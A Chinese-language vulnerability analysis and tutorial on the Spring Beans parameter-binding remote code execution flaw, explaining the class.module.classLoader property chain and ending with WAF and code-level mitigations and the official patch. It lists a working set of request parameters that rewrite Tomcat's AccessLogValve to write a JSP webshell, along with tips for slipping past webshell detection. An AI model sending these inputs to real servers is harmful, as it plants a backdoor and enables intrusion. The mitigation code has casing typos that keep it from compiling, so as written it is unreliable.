Spring Beans RCE分析
字数 1360 2025-08-29 08:32:09
Spring Beans RCE漏洞分析与利用教学文档
漏洞概述
Spring MVC框架的参数绑定功能存在远程代码执行(RCE)漏洞,攻击者可通过构造恶意请求获取AccessLogValve对象并注入恶意字段值,触发pipeline机制写入任意文件。
漏洞本质
- 参数绑定造成的变量覆盖漏洞
- 漏洞点位于spring-beans包中
影响范围
- JDK版本:>=9
- Spring MVC全版本
漏洞分析
属性注入机制
-
核心流程:
- Spring MVC参数绑定功能将请求参数绑定到控制器方法参数对象的成员变量
- 漏洞利用点位于
AbstractNestablePropertyAccessor.class#setPropertyValue
-
关键代码流程:
// 1. 递归获取propertyName属性所在的beanWrapper AbstractNestablePropertyAccessor nestedPa = getPropertyAccessorForPropertyPath(propertyName); // 2. 获取属性的token PropertyTokenHolder tokens = getPropertyNameTokens(getFinalPath(nestedPa, propertyName)); // 3. 设置属性值 nestedPa.setPropertyValue(tokens, new PropertyValue(propertyName, value)); -
递归获取属性:
protected AbstractNestablePropertyAccessor getPropertyAccessorForPropertyPath(String propertyPath) { int pos = PropertyAccessorUtils.getFirstNestedPropertySeparatorIndex(propertyPath); if (pos > -1) { String nestedProperty = propertyPath.substring(0, pos); String nestedPath = propertyPath.substring(pos + 1); AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty); return nestedPa.getPropertyAccessorForPropertyPath(nestedPath); } else { return this; } }
利用链分析
-
属性链示例:
class.module.classLoader.resources.context.parent.appBase -
Java代码等价表示:
((org.apache.catalina.loader.ParallelWebappClassLoader) new UserInfo().getClass().getModule().getClassLoader()) .getResources().getContext().getParent() -
关键对象:
StandardContext:Tomcat上下文对象StandardHost:通过.getParent()获取
AccessLogValve利用
-
可修改的关键属性:
pattern:日志格式suffix:文件后缀directory:目录prefix:文件名前缀fileDateFormat:日期格式
-
典型攻击向量:
class.module.classLoader.resources.context.parent.appBase=./ class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{Prefix123}i + 1231231 +%{Suffix123}i class.module.classLoader.resources.context.parent.pipeline.first.suffix=random1111.jsp class.module.classLoader.resources.context.parent.pipeline.first.directory=. class.module.classLoader.resources.context.parent.pipeline.first.prefix=webapps/ROOT/random1111 class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=time_fomrat_random111 -
Pattern绕过技巧:
- 使用
%{xxx}i引用请求头字段实现任意字符写入 - 可进行字符拼接,绕过webshell检测
- 使用
JDK版本差异
JDK 8 vs JDK 9+
-
关键区别:
- JDK8:
classbean下没有modulebean - JDK9+:引入了模块系统,存在
java.lang.Module
- JDK8:
-
黑名单绕过机制:
Class.class != beanClass || !"classLoader".equals(pd.getName()) && !"protectionDomain".equals(pd.getName())- JDK8:只能用
class.classLoader,无法绕过黑名单 - JDK9+:通过
class.module.classLoader绕过
- JDK8:只能用
利用条件
- 必要条件:
- JDK版本≥9
- 使用Spring MVC框架
- 请求接口对应控制器方法
- 方法入参为非基础类(不能是String、int等)
- 请求方法要与控制器方法对应
修复建议
临时修复方案
-
方案一:WAF防护
- 过滤包含以下字符串的请求:
"class.""Class."".class."".Class."
- 过滤包含以下字符串的请求:
-
方案二:代码修复
import org.springframework.core.annotation.Order; import org.springframework.web.bind.WebDataBinder; import org.springframework.web.bind.annotation.ControllerAdvice; import org.springframework.web.bind.annotation.InitBinder; @ControllerAdvice @Order(10000) public class GlobalControllerAdvice { @InitBinder public void setAllowedFields(webdataBinder dataBinder){ String[] abd = new string[]{"class.*", "Class.*", "*.class.*", "*.Class.*"}; dataBinder.setDisallowedFields(abd); } }
官方补丁
- 补丁地址:https://github.com/spring-projects/spring-framework/commit/afbff391d8299034cd98af968981504b6ca7b38c
- 补丁内容:
- 当beanClass是class.Class时,只允许添加name属性
- 过滤ClassLoader和ProtectionDomain属性
其他注意事项
-
控制器方法要求:
- 入参必须是非基础类
- 入参为String等基础类型时无法触发漏洞
-
Spring Boot差异:
- Spring Boot使用AppClassLoader,没有getResources()方法
- Spring MVC使用ParallelWebappClassLoader